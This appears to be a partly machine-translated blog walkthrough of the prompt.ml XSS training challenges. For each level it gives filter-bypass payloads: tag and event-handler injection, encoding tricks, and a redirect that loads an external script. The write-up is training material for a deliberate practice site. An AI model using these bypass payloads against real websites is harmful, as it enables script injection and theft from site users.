当前位置:网站首页>XSS shooting range (3) prompt to win
XSS shooting range (3) prompt to win
2022-07-31 04:29:00 【tree lost its way】
靶场地址:prompt(1) to win - 0x0http://prompt.ml/0
0x00
无过滤,Close double quotes and tags;
"><script>prompt(1)</script>//
0x01
替换 </ 任意字符 > 为空;
用<svg标签和HTML容错机制不写 ">" ,加空格、回车、Just note it out;
<svg onload=prompt(1)//
<img src=1 onerror="prompt(1)"
0x02
过滤了 = 和 ( ,Then don't need them;
用JS的 eval函数加 call方法,再给( unicode为 u0028即可;
或者用svg标签 加HTML编码;
<script>eval.call`${'prompt\u00281)'}`</script>
<svg><script>prompt(1)</script>
0x03
限制了 -->Let's not close;
用 --!> 闭合即可;
aaa--!>
<script>prompt(1)</script>
0x04
这里限制srcThe value of must begin with http://prompt.ml/;
可用@来重定向,但url:user:[email protected]中passwordcan't have it later / ,用%2f代替;
Write one in the server root directorytest.js,里面写个prompt(1)即可;
http://prompt.ml%[email protected]/test.js
0x05
将 >、on.+?=、focus 字符替换为 _ ,所以过滤了js的autofocus事件以及 on开头的事件;
但没有过滤换行,可利用HTML容错机制,只要关键字和语法正确,不受空格和换行符影响的特性,Reclosing before and after "" 即可;
a" type=image src=1 onerror
="prompt(1)
0x06
这里构造了一个from表单,The form must be entered formURL#formDataJSONsuch as:http://httpbin.org/post#{"name":"Matt"},#分割成数组,提取formURL构造form表单,"formURL"赋值给form标签中的action,method是"post",fromData[0]值 "name"赋值给name,"Matt"赋值给value;
然后过滤document.forms[0].action中的 script和data,致使javascript:prompt()不能直接使用;
但如果将name赋值为"action",则后面的actionwill directly overwrite the first one in frontaction,即:document.form[0].action指向的就不是form标签中的action,而是name="action"中的"action",Filtering doesn't work;
javascript:prompt(1)#{"action":"Matt"}
0x07
这里定义了一个 # ,每个 #will result in a new one title的产生,每个 titleAfter shows only before12characters entered;
用 /* */去除多余部分,Escape length limit 即可;
"><script>/*#*/prompt(1/*#*/)</script>
0x08
这里将 \r\n < / " 过滤,This makes it impossible to escape single-line comments;
但 javaScript规定有5个字符,cannot appear directly in a string,只能使用转义形式,其二为:
- u+2028:行分隔符
- u+2029:段分隔符
This thing cannot be used directly,Now the console has it generate a special onepayload,然后我们复制,再配合 --> behind the keynote " 即可;
'\u2028prompt(1)\u2029-->' //Copy to console build specialpayloadCopy and use again
0x09
这里的正则匹配<a-zA-Z>,还给< 后面加上了_, 并且转大写,这几乎过滤了所有的标签;
So use a trick:有这样一个字符 ſ ,它在转大写后会变成S;
又因为html对大小写不敏感,JS对大小写敏感,所以把prompt编码为:prompt 即可;
<ſcript src=1 onerror=prompt(1)></script>
<ſvg onload=prompt(1)>
0x0A
encodeURIComponent() 函数可把字符串作为 URI 组件进行编码.
该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( )
其他字符(比如 :;/?:@&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的.
The breaking point is ' 被替换为空,那就把 ' 插到prompt中 即可;
p'rompt(1)
0x0B
Filtered a bunch of stuff;
The solution is not understood,哈哈;
"(prompt(1))in"
0x0C
Filter first here,后替换,所以第10The title doesn't work that way;
用 parseInt() The function parses a string and returns an integer,再用toStringDecoding can be bypassed;
关于parseint()函数的理解:关于JavaScript parseInt() 函数的理解_树迷了路的博客-CSDN博客
eval((630038579).toString(30))(1)
0x0D
未完成
0x0E
未完成
0x0F
Similar to the seventh question,But it's filtered/*,构造<!-- -->即可 ;
配合<svg>Make the annotation effective;
on this subject<svg>使用详解:http://t.csdn.cn/1P2Ik
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>
边栏推荐
- MySQL数据库备份
- MySQL数据库增删改查(基础操作命令详解)
- 【小土堆补充】Pytorch学习笔记_Anaconda虚拟环境使用
- [C language] General method of base conversion
- ERROR 2003 (HY000) Can‘t connect to MySQL server on ‘localhost3306‘ (10061)
- 从零开始,一镜到底,纯净系统搭建除草机(Grasscutter)
- $parent/$children and ref
- 问题1:给你1-10的列表,实现列表输出,单数在左边,双数在右边。
- Knowledge Distillation 7: Detailed Explanation of Knowledge Distillation Code
- three.js 制作3D相册
猜你喜欢
高等数学---第九章二重积分
(4) Recursion, variable parameters, access modifiers, understanding main method, code block
【论文阅读】Mastering the game of Go with deep neural networks and tree search
组件传值 provide/inject
从零开始,一镜到底,纯净系统搭建除草机(Grasscutter)
How Zotero removes auto-generated tags
prompt.ml/15中<svg>标签使用解释
The third is the code to achieve
开源社区三十年 | 2022开放原子全球开源峰会开源社区三十年专题活动圆满召开
IDEA common shortcut keys and plug-ins
随机推荐
Daily practice of LeetCode - palindrome structure of OR36 linked list
C语言表白代码?
问题7:列表的拼接
SOLVED: After accidentally uninstalling pip (two ways to manually install pip)
No qualifying bean of type question
MySQL数据库安装配置保姆级教程(以8.0.29为例)有手就行
高斯分布及其极大似然估计
两个地址池r2负责管地址池r1负责管dhcp中继
C language from entry to such as soil, the data store
ERROR 2003 (HY000) Can‘t connect to MySQL server on ‘localhost3306‘ (10061)
三子棋的代码实现
Can't load /home/Iot/.rnd into RNG
开源社区三十年 | 2022开放原子全球开源峰会开源社区三十年专题活动圆满召开
Smartcom Programming Level 4 - Magic Academy Lesson 6
[Swift]自定义点击APP图标弹出的快捷方式
RESTful api interface design specification
The idea project obviously has dependencies, but the file is not displayed, Cannot resolve symbol 'XXX'
Knowledge Distillation 7: Detailed Explanation of Knowledge Distillation Code
el-image标签绑定点击事件后没有有用
(6) Enumeration and annotation